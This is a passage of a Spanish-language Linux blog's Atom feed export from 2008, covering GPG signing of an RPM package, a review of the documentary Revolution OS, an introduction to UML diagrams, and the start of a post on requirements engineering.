/&gt;We need to generate a lot of random bytes. It is a good idea to perform&lt;br /&gt;some other action (type on the keyboard, move the mouse, utilize the&lt;br /&gt;disks) during the prime generation; this gives the random number&lt;br /&gt;generator a better chance to gain enough entropy.&lt;br /&gt;+++++.++++++++++++++++++++..++++++++++...+++++.+++++.+++++.+++++++++++++++++++++++++++++++++++.+++++..++++++++++++++++++++..+++++.+++++...++++++++++.+++++.++++++++++&gt;++++++++++&gt;+++++........................................................................................................&gt;.+++++................+++++^^^&lt;br /&gt;gpg: key FB0A8720 marked as ultimately trusted&lt;br /&gt;public and secret key created and signed.&lt;br /&gt;&lt;br /&gt;gpg: checking the trustdb&lt;br /&gt;gpg: 3 marginal(s) needed, 1 complete(s) needed, PGP trust model&lt;br /&gt;gpg: depth: 0  valid:   2  signed:   0  trust: 0-, 0q, 0n, 0m, 0f, 2u&lt;br /&gt;gpg: next trustdb check due at 2008-05-18&lt;br /&gt;pub   1024D/FB0A8720 2008-05-16 [expires: 2008-05-18]&lt;br /&gt;     Key fingerprint = CA96 8146 B051 C0CF 8687  665C 9671 45F8 FB0A 8720&lt;br /&gt;uid                  jorge_salomon (ejemplo de clave con expiracion para instalador RPM) &lt;linslackware@gmail.com&gt;&lt;br /&gt;sub   2048g/1D35BFAD 2008-05-16 [expires: 2008-05-18]&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ya generada la clave a ocupar en el instalador podemos verificar con el siguiente comando:&lt;br /&gt;&lt;br /&gt;slack@debian:~$ &lt;span style="font-weight: bold;"&gt;gpg --list-keys&lt;/span&gt;&lt;br /&gt;/home/slack/.gnupg/pubring.gpg&lt;br /&gt;------------------------------&lt;br /&gt;pub   1024D/4F4DACF2 2008-05-15&lt;br /&gt;uid                  Jorge Salomon &lt;linslackware@gmail.com&gt;&lt;br /&gt;sub   2048g/B823BCC8 2008-05-15&lt;br /&gt;&lt;br /&gt;pub   1024D/FB0A8720 2008-05-16 [expires: 2008-05-18]&lt;br /&gt;uid                  jorge_salomon (ejemplo de clave con expiracion para instalador RPM) &lt;linslackware@gmail.com&gt;&lt;br /&gt;sub   2048g/1D35BFAD 2008-05-16 [expires: 2008-05-18]&lt;br /&gt;&lt;br /&gt;Confirmada la correcta generación de la clave, la exportamos a un archivo de texto:&lt;br /&gt;&lt;br /&gt;slack@debian:~$ &lt;span style="font-weight: bold;"&gt;gpg --export -a 'slack' &gt; RPM-GPG-KEY-slack&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;slack@debian:~$ &lt;span style="font-weight: bold;"&gt;ls -l&lt;/span&gt;&lt;br /&gt;total 224&lt;br /&gt;drwx------  2 slack slack   4096 2008-05-08 16:21 amsn_received&lt;br /&gt;-rw-r--r--  1 slack slack    579 2008-04-16 15:05 beryl~&lt;br /&gt;drwx--x--x 25 slack slack   4096 2008-05-09 20:12 desarrollo&lt;br /&gt;drwxr-xr-x  2 slack slack   4096 2008-05-15 17:05 Desktop&lt;br /&gt;drwxr-xr-x 13 slack slack   4096 2008-05-15 17:40 documentos&lt;br /&gt;drwxr-xr-x  3 slack slack   4096 2007-12-17 16:41 drivers_db&lt;br /&gt;drwxr-xr-x  3 slack slack   4096 2008-01-23 12:41 flexdock&lt;br /&gt;drwxr-xr-x  5 slack slack  12288 2008-05-09 10:27 imagenes&lt;br /&gt;drwxr-xr-x  4 slack slack   4096 2008-03-23 14:08 NetBeansProjects&lt;br /&gt;drwxr-xr-x 18 slack slack   4096 2008-05-15 17:05 programas&lt;br /&gt;drwxr-xr-x  3 root  root    4096 2008-05-07 21:27 redmine_open_source&lt;br /&gt;-rw-r--r--  1 slack slack   1690 2008-05-15 17:33 RPM-GPG-KEY-jsalomon&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;-rw-r--r--  1 slack slack   3351 2008-05-16 12:36 RPM-GPG-KEY-slack&lt;/span&gt;&lt;br /&gt;drwxr-xr-x 10 slack slack   4096 2008-05-16 10:07 software&lt;br /&gt;drwxr-xr-x  4 slack slack   4096 2008-04-28 15:26 uml_workflow&lt;br /&gt;drwxr-xr-x  6 slack slack   4096 2008-01-29 20:02 workspace&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Luego se debe importar la clave al &lt;span style="font-weight: bold;"&gt;RPMDB,&lt;/span&gt; este comando debemos ingresarlo como root&lt;br /&gt;&lt;br /&gt;slack@debian:~$ &lt;span style="font-weight: bold;"&gt;su&lt;/span&gt;&lt;br /&gt;Password:&lt;br /&gt;debian:/home/slack# &lt;span style="font-weight: bold;"&gt;rpm --import RPM-GPG-KEY-slack&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Verificamos la lista de claves públicas del RPMDB&lt;br /&gt;&lt;br /&gt;debian:/home/slack# &lt;span style="font-weight: bold;"&gt;rpm -q gpg-pubkey --qf '%{name}-%{version} --&gt; %{summary}\n'&lt;/span&gt;&lt;br /&gt;gpg-pubkey-4f4dacf2 --&gt; gpg(Jorge Salomon &lt;linslackware@gmail.com&gt;)&lt;br /&gt;gpg-pubkey-fb0a8720 --&gt; gpg(jorge_salomon (ejemplo de clave con expiracion para instalador RPM) &lt;linslackware@gmail.com&gt;)&lt;br /&gt;&lt;br /&gt;Ahora debemos configurar el fichero .rpmmacros incluyendo lo siguiente, lo podemos editar con nano:&lt;br /&gt;&lt;br /&gt;debian:/home/slack# &lt;span style="font-weight: bold;"&gt;nano .rpmmacros&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;%_signature gpg&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;%_gpg_name fb0a8720&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;El archivo esta vacio, y debemos incluir las dos lineas anteriores, teniendo la precaución de que el &lt;span style="font-weight: bold;"&gt;_gpg_name&lt;/span&gt; debe tener el valor de la clave que hemos creado anteriormente&lt;br /&gt;&lt;br /&gt;Posteriormente firmamos el instalador de la siguiente manera:&lt;br /&gt;&lt;br /&gt;debian:/home/slack# &lt;span style="font-weight: bold;"&gt;rpm --addsign xs4dte-2.1.2-1.i386.rpm&lt;/span&gt;&lt;br /&gt;xs4dte-2.1.2-1.i386.rpm&lt;br /&gt;&lt;br /&gt;Ahora comprobamos la firma del paquete:&lt;br /&gt;&lt;br /&gt;debian:/home/slack# &lt;span style="font-weight: bold;"&gt;rpm --checksig xs4dte-2.1.2-1.i386.rpm&lt;/span&gt;&lt;br /&gt;xs4dte-2.1.2-1.i386.rpm: sha1 md5 OK&lt;br /&gt;&lt;br /&gt;y ya tenemos el paquete firmado y con clave gpg con una licencia que durara el tiempo que pasamos para este instalador, en este caso es de 2 días&lt;br /&gt;&lt;br /&gt;para más info vayan a: &lt;a href="http://www.gnupg.org"&gt;http://www.gnupg.org&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;/linslackware@gmail.com&gt;&lt;/linslackware@gmail.com&gt;&lt;/linslackware@gmail.com&gt;&lt;/linslackware@gmail.com&gt;&lt;/linslackware@gmail.com&gt;&lt;/linslackware@gmail.com&gt;&lt;/heinrichh@duesseldorf.de&gt;&lt;/n&gt;&lt;/n&gt;&lt;/n&gt;&lt;/n&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-1699588810608814065?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/1699588810608814065/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=1699588810608814065' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1699588810608814065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1699588810608814065'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/05/instalador-rpm-firmado-con-clave-gpg.html' title='Instalador RPM firmado con clave GPG'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-1570403992793374413</id><published>2008-05-09T10:32:00.010-04:00</published><updated>2008-05-09T11:53:35.838-04:00</updated><title type='text'>Revolution OS</title><content type='html'>Hola, existe gran diferencia entre microsoft y el open source, una es la que se refleja en la imagen....&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SCRhC9VorxI/AAAAAAAAADw/NKcHb6cIUVQ/s1600-h/free_soft.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SCRhC9VorxI/AAAAAAAAADw/NKcHb6cIUVQ/s320/free_soft.jpg" alt="" id="BLOGGER_PHOTO_ID_5198386573345337106" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;El Software Libre ha revolucionado la informática, esa es la idea fundamental de la obra. Revolution OS es una película documental que trata sobre el Sistema Operativo (OS) GNU/Linux, y los movimientos del Software Libre y el Código abierto (Open Source).&lt;br /&gt;&lt;br /&gt;Durante los minutos que dura RevolutionOS veremos pasar los principales personajes que han cambiado el mundo de la informática a nivel mundial, hablando por sí mismos, opinando, realizando algún chiste, contando alguna anécdota, todos muy entusiasmados, como cualquier hacker al cual se le pregunta ¿a qué te dedicas? Los hackers y los emprendedores empresariales&lt;br /&gt;informáticos suelen ser muy misticos cuando hablan de sus tareas.&lt;br /&gt;&lt;br /&gt;Será muy interesante presenciar los comienzos del software, cuando era compartido en discos de cinta. Así mismo, este documental es una joyita dentro de la historia de la informática, la Carta Abierta de Bill Gates hacia lo que él llamaba aficionados en la cual les pide que no compartan el software, sino que lo vendan... esta carta fue escrita por Bill Gates cuando Microsoft todavía estaba basado en New México y se llamaba "Micro-Soft".&lt;br /&gt;&lt;br /&gt;Luego Richard Stallman explica cómo y por qué dejó el MIT Lab for Artificial Intelligence para dedicar su vida entera al desarrollo y la expansión del Software Libre, y cómo empezó con el proyecto GNU para construir un sistema operativo totalmente libre.&lt;br /&gt;&lt;br /&gt;La controversia en cuanto a llamar Linux o GNU/Linux al sistema es presentada ante Linus Tordvalds, así como se le pregunta qué es Linux y qué supone su desarrollo y comercialización. Es interesante lo que dice Linus en un momento: "puedes pensar a Richard Stallman como el gran filósofo y a mí como el arquitecto", también es remarcable escucharlo decir "Sin el compilador GNU C no hubiera sido posible hacer Linux ni la mayoría de los programas abiertos": esto le cerraría la boca a más de un fanático que anda diciendo por listas de mail y foros de usuarios que GNU no es importante para Linux, o cosas por el estilo, o que Richard Stallman anda por ahí reclamándose la paternidad del Software Libre cuando en realidad hizo muy poco (!!!)... siendo que él mismo comenzó a programar el compilador GNU C (GCC), y redactó la licencia GPL, entre otras cosas.&lt;br /&gt;&lt;br /&gt;Se tratan en la película los primeros pasos a pequeña, mediana y gran escala de la aplicación de GNU/Linux en los negocios, dan testimonio de ello Larry Augustin de "VA Linux" y Michael Tiemann de Cygnus Solutions.&lt;br /&gt;&lt;br /&gt;También se entrevista a uno de los desarrolladores originales de uno de los programas libres más exitosos de la historia: Apache, el que sirve mas del 80% de las aplicaciones web alrededor del mundo.&lt;br /&gt;&lt;br /&gt;A muchos les gustará ver cómo fue el primer evento masivo "LinuxWorld", en el que estuvieron presentes Linus Torvalds, Larry Augustin y Richard Stallman recibiendo un premio.&lt;br /&gt;&lt;br /&gt;La película se exhibió en varios festivales, incluyendo South by Southwest, Atlanta Film and Video Festival, Boston Film Festival, Denver International Film Festival; ganó el premio al Mejor Documental en ambos "Savannah Film and Video Festival" y en el "Kudzu Film Festival".&lt;br /&gt;&lt;br /&gt;¿Qué ha cambiado desde 2001 dentro del Software Libre, el Open Source y GNU/Linux?&lt;br /&gt;&lt;br /&gt;Para concluir, sería bueno preguntarse ¿qué ha cambiado desde 2001 dentro del Software Libre, el Open Source y GNU/Linux? Han cambiado algunas cosas: los programas para escritorio se han popularizado, tenemos a OpenOffice, Firefox, BitTorrent entre otros, el sistema GNU/Linux se ha convertido en algo muy sencillo de manejar para cualquier persona, hasta diría que es más sencillo que Windows (ventanukos).&lt;br /&gt;&lt;br /&gt;Richard Stallman y otros han realizado una campaña mundial por difundir la filosofía del software libre, la cual ha impactado en políticos de todo el mundo, vemos que Paises enteros comienzan la migración, tales son los casos de Venezuela, Cuba, Brasil, Rusia, italia, etc.. entre otros.&lt;br /&gt;&lt;br /&gt;La adopción y desarrollo de Software Libre u Open Source ha avanzado de forma definitiva sobre las grandes empresas en todo el planeta, dominando el mercado de los servidores web y de base de datos... el 95% de las computadoras en Hollywood utilizan GNU/Linux, y así podríamos seguir con una lista casi interminable de objetivos cumplidos por esta comunidad heterogénea y anárquica que ha revolucionado la informática para siempre.&lt;br /&gt;&lt;br /&gt;Vamos al meollo del asunto.&lt;br /&gt;&lt;br /&gt;&lt;p&gt;&lt;code&gt;&lt;span style='text-align:center;display:block;'&gt;&lt;object width='400' height='326' type='application/x-shockwave-flash' data='http://video.google.com/googleplayer.swf?docId=7707585592627775409'&gt;&lt;param name='allowScriptAccess' value='never' /&gt;&lt;param name='movie' value='http://video.google.com/googleplayer.swf?docId=7707585592627775409'/&gt;&lt;param name='quality' value='best'/&gt;&lt;param name='bgcolor' value='#ffffff' /&gt;&lt;param name='scale' value='noScale' /&gt;&lt;param name='wmode' value='window'/&gt;&lt;/object&gt;&lt;/span&gt;&lt;/code&gt;&lt;/p&gt;&lt;br /&gt;&lt;br /&gt;Otras peliculas que recomiendo son:&lt;br /&gt;&lt;br /&gt;-Code Linux&lt;br /&gt;-The Secret history of Hacking(ingles, documental de discovery channel)&lt;br /&gt;-Pirates of silicon valley(ingles)&lt;br /&gt;&lt;br /&gt;Regards and be free... Use Linux...&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-1570403992793374413?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/1570403992793374413/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=1570403992793374413' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1570403992793374413'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/1570403992793374413'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/05/por-eso-me-gusta-el-open-source.html' title='Revolution OS'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-ixaLQDJLhI/SCRhC9VorxI/AAAAAAAAADw/NKcHb6cIUVQ/s72-c/free_soft.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-7579746862049802224</id><published>2008-04-30T10:51:00.005-04:00</published><updated>2008-04-30T11:06:43.853-04:00</updated><title type='text'>Modelado con UML</title><content type='html'>Las notaciones nos permiten formular ideas complejas en forma resumida y precisa.&lt;br /&gt;&lt;br /&gt;Para que una notación permita la comunicación precisa debe tener una semántica bien definida, debe ser muy adecuada para la representación de un aspecto dado de un sistema y debe ser bien comprendida por los participantes del proyecto. En esto ultimo se encuentra la fortaleza de los estándares y las convenciones.&lt;br /&gt;&lt;br /&gt;Seleccionamos el UML (Lenguaje de Modelado Unificado) como notación estándar, ya que tiene una semántica bien definida, proporciona un espectro de notaciones para la representación de diferentes aspectos de un sistema y ha sido aceptado como una notación estándar en la industria.&lt;br /&gt;&lt;br /&gt;UML es una notación que se produjo como resultado de la unificación de la técnica de modelado de objetos. El UML ha sido diseñado para resolver un amplio rango de aplicaciones.&lt;br /&gt;&lt;br /&gt;El desarrollo de sistemas se enfoca en tres modelos diferentes del sistema:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Modelo funcional:&lt;/span&gt; representado en UML con diagramas de caso de uso, describe la funcionalidad del sistema desde el punto de vista del usuario.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Modelo de objetos:&lt;/span&gt; representado en UML con diagramas del clase, describe la estructura de un sistema desde el punto de vista de objetos, atributos, asociaciones y operaciones.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Modelo dinámico:&lt;/span&gt; representado en UML con diagramas de secuencia, diagramas de gráfica de estado y diagramas de actividad, describe el comportamiento interno del sistema.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Panorámica del UML.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Se presentan 5 notaciones UML:&lt;br /&gt;&lt;br /&gt;Diagramas de caso de uso.&lt;br /&gt;Diagrama de clase.&lt;br /&gt;Diagrama de secuencia.&lt;br /&gt;Diagrama de estado. (*)&lt;br /&gt;Diagrama de actividad (*)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Diagrama de caso de uso.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los casos de uso se utilizan durante la obtención de requerimientos y el análisis para representar la funcionalidad del sistema. Los casos de uso se enfocan en el comportamiento del sistema desde un punto de vista externo y que proporciona un resultado visible para un actor.&lt;br /&gt;&lt;br /&gt;Un actor puede ser cualquier entidad que interactúa con el sistema ya sea un usuario u otro sistema. La identificación de los actores y los casos de uso da como resultado la definición de la frontera del sistema, esto es la diferencia entre las tareas realizadas por el sistema y las realizadas por su ambiente.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_-ixaLQDJLhI/SBiJ7Nhv5NI/AAAAAAAAADQ/4El493A1Nxs/s1600-h/relojSimple_usecase.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://2.bp.blogspot.com/_-ixaLQDJLhI/SBiJ7Nhv5NI/AAAAAAAAADQ/4El493A1Nxs/s320/relojSimple_usecase.jpg" alt="" id="BLOGGER_PHOTO_ID_5195053820508366034" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;El actor UsuarioReloj puede consultar la hora con el caso de uso LeerHora, o ajustar la hora con el caso de uso AjustarHora. Sin embargo, solo el actor PersonaReparadoraRelojes puede cambiar la batería del reloj con el caso de uso CambiarBateria&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Diagrama de clase&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Se utilizan diagramas de clase para describir la estructura del sistema. Las clases son abstracciones que especifican la estructura y el comportamiento común de un conjunto de objetos. Los objetos son instancias de las clases que se crean, modifican y se destruyen durante la ejecución del sistema.&lt;br /&gt;&lt;br /&gt;Los diagramas de clase describen el sistema desde el punto de vista de objetos, clases, atributos, operaciones y sus asociaciones.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_-ixaLQDJLhI/SBiKR9hv5OI/AAAAAAAAADY/D7NtNRyFRtc/s1600-h/diagramaClase.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://1.bp.blogspot.com/_-ixaLQDJLhI/SBiKR9hv5OI/AAAAAAAAADY/D7NtNRyFRtc/s320/diagramaClase.jpg" alt="" id="BLOGGER_PHOTO_ID_5195054211350389986" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;El diagrama de clase describe todos los elementos de todos los relojes de la clase RelojSimple.Todos estos objetos de reloj tienen una asociación con un objeto de la clase BotonImprimible, un objeto de la clase pantalla, un objeto de la clase hora.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Diagrama de secuencia&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Los diagramas de secuencia se usan para formalizar el comportamiento del sistema y para visualizar la comunicación entre objetos. Son útiles para la identificación de objetos adicionales que participan en los casos de uso. A los objetos involucrados en un caso de uso les llamamos objetos participantes. Un diagrama de secuencia representa las interacciones que suceden entre esos objetos.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_-ixaLQDJLhI/SBiKndhv5QI/AAAAAAAAADo/Q9IIpXhUbR4/s1600-h/diagramSecuence.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://3.bp.blogspot.com/_-ixaLQDJLhI/SBiKndhv5QI/AAAAAAAAADo/Q9IIpXhUbR4/s320/diagramSecuence.jpg" alt="" id="BLOGGER_PHOTO_ID_5195054580717577474" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;La imagen corresponde al diagrama de secuencia para el caso de uso AjustarHora de nuestro RelojSimple, la primera columna representa al actor UsuarioReloj que inicia el caso de uso. Las demás columnas representan la linea de tiempo de los objetos que participan en este caso de uso.&lt;br /&gt;&lt;br /&gt;Este articulo es solo una introducción al modelado con uml, existen otra serie de diagramas que ire agregando o escribiendo otros articulos para profundizar en este tema&lt;br /&gt;&lt;br /&gt;Saludos y suerte !!&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/1249668162136945041-7579746862049802224?l=linslackware.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://linslackware.blogspot.com/feeds/7579746862049802224/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=1249668162136945041&amp;postID=7579746862049802224' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7579746862049802224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/1249668162136945041/posts/default/7579746862049802224'/><link rel='alternate' type='text/html' href='http://linslackware.blogspot.com/2008/04/modelado-con-uml.html' title='Modelado con UML'/><author><name>slack</name><uri>http://www.blogger.com/profile/09162360884255584258</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://spd.fotologs.net/photo/29/51/80/linslackware/1177287418_f.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_-ixaLQDJLhI/SBiJ7Nhv5NI/AAAAAAAAADQ/4El493A1Nxs/s72-c/relojSimple_usecase.jpg' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-1249668162136945041.post-206812554668911978</id><published>2008-04-23T12:34:00.007-04:00</published><updated>2008-04-23T13:00:33.207-04:00</updated><title type='text'>Requerimientos</title><content type='html'>&lt;span style="font-weight: bold;"&gt;Toma de Requerimientos&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Podemos definir un requerimiento como una condicion o capacidad que debe estar presente&lt;br /&gt;en un sistema o componentes de este para satisfacer un contrato, estandar, especificación u otro documento formal (Std 610.12-1900, IEEE:62)&lt;br /&gt;&lt;br /&gt;Otra definicion adoptada es que un requerimiento es simplemente una declaración abstracta de alto nivel de un servicio que debe proporcionar un sistema.&lt;br /&gt;&lt;br /&gt;Los requerimientos son una pieza fundamental en proyectos de Software, en base a esto se puede determinar y hacer estimaciones de tiempo, costos, definir recursos necesarios, elaborar cronogramas y cartas gantt, etc.&lt;br /&gt;Permite verificar y comprobar si se obtuvieron los objetivos establecidos para el proyecto.&lt;br /&gt;&lt;br /&gt;Muchas veces los proyectos que fracasan por que la toma de requerimientos es incompleta o por el mal manejo de los cambios en los requerimientos durante la vida de desarrollo del Software.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Clasificación de Requerimientos&lt;/span&gt;&lt;br /&gt;La clasificación de requerimientos es importante, de esta manera podemos definir y abstraer con mayor detalle los tipos de requerimientos a los que nos enfrentamos, los requerimientos se pueden clasificar en:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;      Requerimientos Funcionales.&lt;/li&gt;&lt;li&gt;      Requerimientos no Funcionales.&lt;/li&gt;&lt;li&gt;      Requerimientos de Implementación.&lt;/li&gt;&lt;/ul&gt;&lt;span style="font-weight: bold;"&gt;Requerimientos Funcionales:&lt;/span&gt; Describen las interacciones entre el sistema y su entorno, usuarios u otros sistemas&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requerimientos No Funcionales:&lt;/span&gt; Describen aspectos visibles del sistema por el usuario, y que no se relacionan directamente con el comportamiento funcional del sistema.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Requerimientos de Implementación:&lt;/span&gt; Corresponden a las necesidades del cliente que restringen la implementación, como la plataforma tecnológica, de hardware, redes, etc.&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Características en la Toma de Requerimientos&lt;/span&gt;&lt;br /&gt;Las características mas importantes y fundamentales para una toma de requerimientos deben contener los siguientes puntos:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;   Un requerimientos debe estar especificado siempre por escrito.&lt;/li&gt;&lt;li&gt;   Un requerimiento debe ser posible de probar y verificar.&lt;/li&gt;&lt;li&gt;   Un requerimiento debe ser conciso.&lt;/li&gt;&lt;li&gt;   Un requerimiento debe ser completo.&lt;/li&gt;&lt;li&gt;   Un requerimiento debe ser consistente.&lt;/li&gt;&lt;li&gt;   Un requerimiento no debe ser ambiguo.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Ingeniería de Requerimientos&lt;/span&gt;&lt;br /&gt;La Ingeniería de requerimientos ayuda a los ingenieros de software a entender mejor el problema en cuya solución trabajaran, incluye el conjunto de tareas que conducen a comprender cual sera el impacto del software sobre el negocio, que es lo que el cliente quiere y como interactuaran los usuarios finales con el software.&lt;br /&gt;&lt;br /&gt;También la ingeniería de requerimientos comprende el proceso de desarrollar una especificación del software, estas pretenden comunicar las necesidades del sistema del cliente a los desarrolladores del sistema&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Importancia de la Ingeniería de Requerimientos:&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Permite gestionar las necesidades del proyecto de manera documental y estructurada.&lt;/li&gt;&lt;li&gt;  Mejora la capacidad de predecir cronogramas de proyectos, así como sus resultados.&lt;/li&gt;&lt;li&gt;  Disminuyen los costos y retrasos del proyecto.&lt;/li&gt;&lt;li&gt;  Mejora la calidad del Software.&lt;/li&gt;&lt;li&gt;  Mejora la comunicación entre equipos.&lt;/li&gt;&lt;li&gt;  Evita rechazos de usuarios finales.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Actividades de la IR&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Estudio de la viabilidad&lt;/li&gt;&lt;li&gt;  Obtención y análisis de requerimientos.&lt;/li&gt;&lt;li&gt;  Validación de requerimientos.&lt;/li&gt;&lt;li&gt;  Administración de requerimientos.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Estudio de la viabilidad&lt;/span&gt;&lt;br /&gt;Un estudio de la viabilidad es a corto plazo, y orientado a resolver si el sistema:&lt;br /&gt;Contribuye a los objetivos de la organización?&lt;br /&gt;Se puede implementar con tecnología actual dentro de costo y tiempo?&lt;br /&gt;Puede integrarse a otros existentes en la organización?&lt;br /&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Obtención y análisis de requerimientos&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Descubrimiento de requerimientos,&lt;/li&gt;&lt;li&gt; Puntos de vista: toma en cuenta la existencia de varias perspectivas y provee de una marco de trabajo para descubrir conflictos.&lt;/li&gt;&lt;li&gt;  Entrevistas.&lt;/li&gt;&lt;li&gt;Escenario: son descripciones de ejemplos de las sesiones de interacción del sistema, se inicio con un bosquejo y durante la obtención se agregan detalles.&lt;/li&gt;&lt;li&gt;  Casos de Uso (UML)&lt;/li&gt;&lt;li&gt;  Clasificación y organización de requerimientos&lt;/li&gt;&lt;li&gt;  Orden por prioridades y negociación&lt;/li&gt;&lt;li&gt;  Documentación&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Validación de requerimientos&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Similar al análisis pero comprende un bosquejo completo del documento.&lt;/li&gt;&lt;li&gt;  Importante, ya que los errores en los requerimientos pueden conducir a costos excesivos si se descubren durante el desarrollo o después en la implantación.&lt;/li&gt;&lt;/ul&gt;&lt;br /&gt;&lt;span style="font-weight: bold;"&gt;Técnicas de validación.&lt;/span&gt;&lt;br /&gt;&lt;ul&gt;&lt;li&gt;  Revisiones de requerimientos y su documentación.&lt;/li&gt;&lt;li&gt;  Construcción 